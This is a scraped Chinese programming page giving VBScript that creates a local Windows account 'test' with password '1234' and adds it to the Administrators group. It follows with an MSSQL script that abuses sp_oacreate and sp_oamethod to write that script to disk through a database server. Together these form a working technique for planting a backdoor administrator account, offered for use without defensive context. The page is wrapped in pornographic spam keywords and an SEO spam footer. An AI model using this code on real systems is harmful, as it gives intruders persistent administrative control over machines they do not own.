国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

vbs加administrator用戶的代碼

2019-10-26 18:01:59
字體:
來源:轉載
供稿:網友

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"

SQL語句如下,采用sp_oamethod過程:

declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 贵定县| 巫溪县| 福建省| 曲松县| SHOW| 九龙城区| 农安县| 榆林市| 龙川县| 久治县| 阜南县| 郓城县| 凤翔县| 易门县| 页游| 峨眉山市| 安国市| 格尔木市| 菏泽市| 天祝| 胶南市| 双鸭山市| 天水市| 郁南县| 滨州市| 朝阳区| 河南省| 那坡县| 望谟县| 铜川市| 徐闻县| 天柱县| 常德市| 广饶县| 安徽省| 张家港市| 托里县| 涟源市| 稷山县| 仁怀市| 旺苍县|